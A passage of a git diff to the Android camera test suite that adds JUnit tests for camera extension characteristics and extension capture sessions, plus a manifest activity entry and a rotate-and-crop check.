+        assertThat(response.getAction()).isEqualTo(intentFilter.getAction(0));
+
         String bugreport = response.getStringExtra(EXTRA_BUGREPORT);
         String screenshot = response.getStringExtra(EXTRA_SCREENSHOT);
         return new Pair<String, String>(bugreport, screenshot);
diff --git a/tests/camera/AndroidManifest.xml b/tests/camera/AndroidManifest.xml
index e3e4a63..7426c65 100644
--- a/tests/camera/AndroidManifest.xml
+++ b/tests/camera/AndroidManifest.xml
@@ -84,6 +84,11 @@
             android:process=":mediaRecorderCameraActivityProcess">
         </activity>
 
+        <activity android:name="android.hardware.camera2.cts.CameraExtensionTestActivity"
+            android:label="CameraExtensionTestActivity"
+            android:screenOrientation="locked"
+            android:configChanges="keyboardHidden|orientation|screenSize">
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 4374db9..80e8f69 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -2520,6 +2520,17 @@
                     CaptureRequest.DISTORTION_CORRECTION_MODE_OFF);
         }
 
+        // Scaler settings
+        if (mStaticInfo.areKeysAvailable(
+                CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES)) {
+            List<Integer> rotateAndCropModes = Arrays.asList(toObject(
+                props.get(CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES)));
+            if (rotateAndCropModes.contains(SCALER_ROTATE_AND_CROP_AUTO)) {
+                mCollector.expectKeyValueEquals(request, SCALER_ROTATE_AND_CROP,
+                        CaptureRequest.SCALER_ROTATE_AND_CROP_AUTO);
+            }
+        }
+
         // Check JPEG quality
         if (mStaticInfo.isColorOutputSupported()) {
             mCollector.expectKeyValueNotNull(request, JPEG_QUALITY);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
new file mode 100644
index 0000000..5f8c8f9
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.hardware.camera2.cts;
+
+import android.content.Context;
+import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraExtensionCharacteristics;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
+import android.renderscript.Allocation;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import static org.junit.Assert.*;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class CameraExtensionCharacteristicsTest {
+    private static final String TAG = "CameraExtensionManagerTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final List<Integer> EXTENSIONS = Arrays.asList(
+            CameraExtensionCharacteristics.EXTENSION_AUTOMATIC,
+            CameraExtensionCharacteristics.EXTENSION_BEAUTY,
+            CameraExtensionCharacteristics.EXTENSION_BOKEH,
+            CameraExtensionCharacteristics.EXTENSION_HDR,
+            CameraExtensionCharacteristics.EXTENSION_NIGHT);
+
+    private final Context mContext = InstrumentationRegistry.getTargetContext();
+
+    @Rule
+    public final Camera2AndroidTestRule mTestRule = new Camera2AndroidTestRule(mContext);
+
+    private void openDevice(String cameraId) throws Exception {
+        mTestRule.setCamera(CameraTestUtils.openCamera(
+                mTestRule.getCameraManager(), cameraId,
+                mTestRule.getCameraListener(), mTestRule.getHandler()));
+        mTestRule.getCollector().setCameraId(cameraId);
+        mTestRule.setStaticInfo(new StaticMetadata(
+                mTestRule.getCameraManager().getCameraCharacteristics(cameraId),
+                StaticMetadata.CheckLevel.ASSERT, /*collector*/null));
+    }
+
+    private <T> void verifySupportedExtension(CameraExtensionCharacteristics chars, String cameraId,
+            Integer extension, Class<T> klass) {
+        List<Size> availableSizes = chars.getExtensionSupportedSizes(extension, klass);
+        assertTrue(String.format("Supported extension %d on camera id: %s doesn't " +
+                        "include any valid resolutions!", extension, cameraId),
+                (availableSizes != null) && (!availableSizes.isEmpty()));
+    }
+
+    private <T> void verifySupportedSizes(CameraExtensionCharacteristics chars, String cameraId,
+            Integer extension, Class<T> klass) throws Exception {
+        verifySupportedExtension(chars, cameraId, extension, klass);
+        try {
+            openDevice(cameraId);
+            List<Size> extensionSizes = chars.getExtensionSupportedSizes(extension, klass);
+            List<Size> cameraSizes = Arrays.asList(
+                    mTestRule.getStaticInfo().getAvailableSizesForFormatChecked(ImageFormat.PRIVATE,
+                            StaticMetadata.StreamDirection.Output));
+            for (Size extensionSize : extensionSizes) {
+                assertTrue(String.format("Supported extension %d on camera id: %s advertises " +
+                                " resolution %s unsupported by camera", extension, cameraId,
+                        extensionSize), cameraSizes.contains(extensionSize));
+            }
+        } finally {
+            mTestRule.closeDevice(cameraId);
+        }
+    }
+
+    private void verifySupportedSizes(CameraExtensionCharacteristics chars, String cameraId,
+            Integer extension, int format) throws Exception {
+        List<Size> extensionSizes = chars.getExtensionSupportedSizes(extension, format);
+        assertFalse(String.format("No available sizes for extension %d on camera id: %s " +
+                "using format: %x", extension, cameraId, format), extensionSizes.isEmpty());
+        try {
+            openDevice(cameraId);
+            List<Size> cameraSizes = Arrays.asList(
+                    mTestRule.getStaticInfo().getAvailableSizesForFormatChecked(format,
+                            StaticMetadata.StreamDirection.Output));
+            for (Size extensionSize : extensionSizes) {
+                assertTrue(String.format("Supported extension %d on camera id: %s advertises " +
+                                " resolution %s unsupported by camera", extension, cameraId,
+                        extensionSize), cameraSizes.contains(extensionSize));
+            }
+        } finally {
+            mTestRule.closeDevice(cameraId);
+        }
+    }
+
+    private <T> void verifyUnsupportedExtension(CameraExtensionCharacteristics chars,
+            Integer extension, Class<T> klass) {
+        try {
+            chars.getExtensionSupportedSizes(extension, klass);
+            fail("should get IllegalArgumentException due to unsupported extension");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testExtensionAvailability() throws Exception {
+        boolean extensionsAdvertised = false;
+        for (String id : mTestRule.getCameraIdsUnderTest()) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorOutputSupported()) {
+                continue;
+            }
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            ArrayList<Integer> unsupportedExtensions = new ArrayList<>(EXTENSIONS);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            if (!extensionsAdvertised && !supportedExtensions.isEmpty()) {
+                extensionsAdvertised = true;
+            }
+            for (Integer extension : supportedExtensions) {
+                verifySupportedExtension(extensionChars, id, extension, SurfaceTexture.class);
+                unsupportedExtensions.remove(extension);
+            }
+
+            // Unsupported extension size queries must throw corresponding exception.
+            for (Integer extension : unsupportedExtensions) {
+                verifyUnsupportedExtension(extensionChars, extension, SurfaceTexture.class);
+            }
+        }
+        boolean extensionsEnabledProp = PropertyUtil.areCameraXExtensionsEnabled();
+        assertEquals("Extensions system property : " + extensionsEnabledProp + " does not match " +
+                "with the advertised extensions: " + extensionsAdvertised, extensionsEnabledProp,
+                extensionsAdvertised);
+    }
+
+    @Test
+    public void testExtensionSizes() throws Exception {
+        for (String id : mTestRule.getCameraIdsUnderTest()) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorOutputSupported()) {
+                continue;
+            }
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                verifySupportedSizes(extensionChars, id, extension, SurfaceTexture.class);
+                verifySupportedSizes(extensionChars, id, extension, ImageFormat.JPEG);
+            }
+        }
+    }
+
+    @Test
+    public void testIllegalArguments() throws Exception {
+        try {
+            mTestRule.getCameraManager().getCameraExtensionCharacteristics("InvalidCameraId!");
+            fail("should get IllegalArgumentException due to invalid camera id");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        for (String id : mTestRule.getCameraIdsUnderTest()) {
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                try {
+                    extensionChars.getExtensionSupportedSizes(extension, ImageFormat.UNKNOWN);
+                    fail("should get IllegalArgumentException due to invalid pixel format");
+                } catch (IllegalArgumentException e) {
+                    // Expected
+                }
+
+                try {
+                    List<Size> ret = extensionChars.getExtensionSupportedSizes(extension,
+                            Allocation.class);
+                    assertTrue("should get empty resolution list for unsupported " +
+                            "surface type", ret.isEmpty());
+                } catch (IllegalArgumentException e) {
+                    fail("should not get IllegalArgumentException due to unsupported surface " +
+                            "type");
+                }
+            }
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
new file mode 100644
index 0000000..fc1bd8d
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -0,0 +1,1091 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+import com.android.ex.camera2.blocking.BlockingExtensionSessionCallback;
+import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
+
+import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraExtensionCharacteristics;
+import android.hardware.camera2.CameraExtensionSession;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.cts.helpers.CameraErrorCollector;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
+import android.hardware.camera2.params.ExtensionSessionConfiguration;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
+import android.media.ExifInterface;
+import android.media.Image;
+import android.media.ImageReader;
+import android.util.Size;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static android.hardware.cts.helpers.CameraUtils.*;
+
+import android.util.Log;
+import android.view.Surface;
+import android.view.TextureView;
+
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+@RunWith(Parameterized.class)
+public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase {
+    private static final String TAG = "CameraExtensionSessionTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final long WAIT_FOR_COMMAND_TO_COMPLETE_MS = 5000;
+    private static final long REPEATING_REQUEST_TIMEOUT_MS = 5000;
+    public static final int MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS = 10000;
+
+    private SurfaceTexture mSurfaceTexture = null;
+    private Camera2AndroidTestRule mTestRule = null;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mTestRule = new Camera2AndroidTestRule(mContext);
+        mTestRule.before();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mTestRule != null) {
+            mTestRule.after();
+        }
+        if (mSurfaceTexture != null) {
+            mSurfaceTexture.release();
+            mSurfaceTexture = null;
+        }
+        super.tearDown();
+    }
+
+    @Rule
+    public ActivityTestRule<CameraExtensionTestActivity> mActivityRule =
+            new ActivityTestRule<>(CameraExtensionTestActivity.class);
+
+    private void updatePreviewSurfaceTexture() {
+        if (mSurfaceTexture != null) {
+            return;
+        }
+
+        TextureView textureView = mActivityRule.getActivity().getTextureView();
+        mSurfaceTexture = getAvailableSurfaceTexture(WAIT_FOR_COMMAND_TO_COMPLETE_MS, textureView);
+        assertNotNull("Failed to acquire valid preview surface texture!", mSurfaceTexture);
+    }
+
+    // Verify that camera extension sessions can be created and closed as expected.
+    @Test
+    public void testBasicExtensionLifecycle() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                OutputConfiguration outputConfig = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                        new Surface(mSurfaceTexture));
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(outputConfig);
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(
+                                mock(CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+
+                    extensionSession.close();
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                }
+            }
+        }
+    }
+
+    // Verify that regular camera sessions close as expected after creating a camera extension
+    // session.
+    @Test
+    public void testCloseCaptureSession() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                ImageReader privateReader = CameraTestUtils.makeImageReader(maxSize,
+                        ImageFormat.PRIVATE, /*maxImages*/ 3, new ImageDropperListener(),
+                        mTestRule.getHandler());
+                OutputConfiguration privateOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, privateReader.getSurface());
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(privateOutput);
+                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
+                        mock(CameraCaptureSession.StateCallback.class));
+                SessionConfiguration regularConfiguration = new SessionConfiguration(
+                        SessionConfiguration.SESSION_REGULAR, outputConfigs,
+                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
+
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                Surface repeatingSurface = new Surface(mSurfaceTexture);
+                OutputConfiguration textureOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, repeatingSurface);
+                List<OutputConfiguration> outputs = new ArrayList<>();
+                outputs.add(textureOutput);
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    mTestRule.getCamera().createCaptureSession(regularConfiguration);
+
+                    CameraCaptureSession session =
+                            regularSessionListener
+                                    .waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(session);
+
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    regularSessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    extensionSession.close();
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                    mTestRule.closeImageReader(privateReader);
+                }
+            }
+        }
+    }
+
+    // Verify that camera extension sessions close as expected when creating a regular capture
+    // session.
+    @Test
+    public void testCloseExtensionSession() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                ImageReader privateReader = CameraTestUtils.makeImageReader(maxSize,
+                        ImageFormat.PRIVATE, /*maxImages*/ 3, new ImageDropperListener(),
+                        mTestRule.getHandler());
+                OutputConfiguration privateOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, privateReader.getSurface());
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(privateOutput);
+                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
+                        mock(CameraCaptureSession.StateCallback.class));
+                SessionConfiguration regularConfiguration = new SessionConfiguration(
+                        SessionConfiguration.SESSION_REGULAR, outputConfigs,
+                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
+
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                Surface surface = new Surface(mSurfaceTexture);
+                OutputConfiguration textureOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, surface);
+                List<OutputConfiguration> outputs = new ArrayList<>();
+                outputs.add(textureOutput);
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    mTestRule.getCamera().createCaptureSession(regularConfiguration);
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    CameraCaptureSession session =
+                            regularSessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    session.close();
+                    regularSessionListener.getStateWaiter().waitForState(
+                            BlockingSessionCallback.SESSION_CLOSED, SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                    mTestRule.closeImageReader(privateReader);
+                }
+            }
+        }
+    }
+
+    // Verify camera device query
+    @Test
+    public void testGetDevice() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                OutputConfiguration privateOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                        new Surface(mSurfaceTexture));
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(privateOutput);
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(
+                                mock(CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+
+                    assertEquals("Unexpected/Invalid camera device", mTestRule.getCamera(),
+                            extensionSession.getDevice());
+                } finally {
+                    mTestRule.closeDevice(id);
+                }
+
+                try {
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                    fail("should get TimeoutRuntimeException due to previously closed camera "
+                            + "device");
+                } catch (TimeoutRuntimeException e) {
+                    // Expected, per API spec we should not receive any further session callbacks
+                    // besides the device state 'onClosed' callback.
+                }
+            }
+        }
+    }
+
+    // Test case for repeating/stopRepeating on all supported extensions and expected state/capture
+    // callbacks.
+    @Test
+    public void testRepeatingCapture() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize =
+                        CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(),
+                        maxSize.getHeight());
+                Surface texturedSurface = new Surface(mSurfaceTexture);
+
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_PREVIEW);
+                    captureBuilder.addTarget(texturedSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallbackMock =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+                    SimpleCaptureCallback simpleCaptureCallback =
+                            new SimpleCaptureCallback(captureCallbackMock);
+                    CaptureRequest request = captureBuilder.build();
+                    int sequenceId = extensionSession.setRepeatingRequest(request,
+                            new HandlerExecutor(mTestRule.getHandler()), simpleCaptureCallback);
+
+                    verify(captureCallbackMock,
+                            timeout(REPEATING_REQUEST_TIMEOUT_MS).atLeastOnce())
+                            .onCaptureStarted(eq(extensionSession), eq(request), anyLong());
+                    verify(captureCallbackMock,
+                            timeout(REPEATING_REQUEST_TIMEOUT_MS).atLeastOnce())
+                            .onCaptureProcessStarted(extensionSession, request);
+
+                    extensionSession.stopRepeating();
+
+                    verify(captureCallbackMock,
+                            timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureSequenceCompleted(extensionSession, sequenceId);
+
+                    verify(captureCallbackMock, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    assertEquals("The sum of all onProcessStarted and onCaptureFailed" +
+                                    " callback calls must match with the number of calls to " +
+                                    "onCaptureStarted!",
+                            simpleCaptureCallback.getTotalFramesArrived() +
+                                    simpleCaptureCallback.getTotalFramesFailed(),
+                            simpleCaptureCallback.getTotalFramesStarted());
+                    assertTrue(String.format("The last repeating request surface timestamp " +
+                                    "%d must be less than or equal to the last " +
+                                    "onCaptureStarted " +
+                                    "timestamp %d", mSurfaceTexture.getTimestamp(),
+                            simpleCaptureCallback.getLastTimestamp()),
+                            mSurfaceTexture.getTimestamp() <=
+                                    simpleCaptureCallback.getLastTimestamp());
+                } finally {
+                    mTestRule.closeDevice(id);
+                    texturedSurface.release();
+                }
+            }
+        }
+    }
+
+    // Test case for multi-frame only capture on all supported extensions and expected state
+    // callbacks. Verify still frame output.
+    @Test
+    public void testMultiFrameCapture() throws Exception {
+        final int IMAGE_COUNT = 10;
+        final int SUPPORTED_CAPTURE_OUTPUT_FORMATS[] = {
+                ImageFormat.YUV_420_888,
+                ImageFormat.JPEG
+        };
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                for (int captureFormat : SUPPORTED_CAPTURE_OUTPUT_FORMATS) {
+                    List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            captureFormat);
+                    if (extensionSizes.isEmpty()) {
+                        continue;
+                    }
+                    Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                    SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false,
+                            1);
+                    ImageReader extensionImageReader = CameraTestUtils.makeImageReader(maxSize,
+                            captureFormat, /*maxImages*/ 1, imageListener,
+                            mTestRule.getHandler());
+                    Surface imageReaderSurface = extensionImageReader.getSurface();
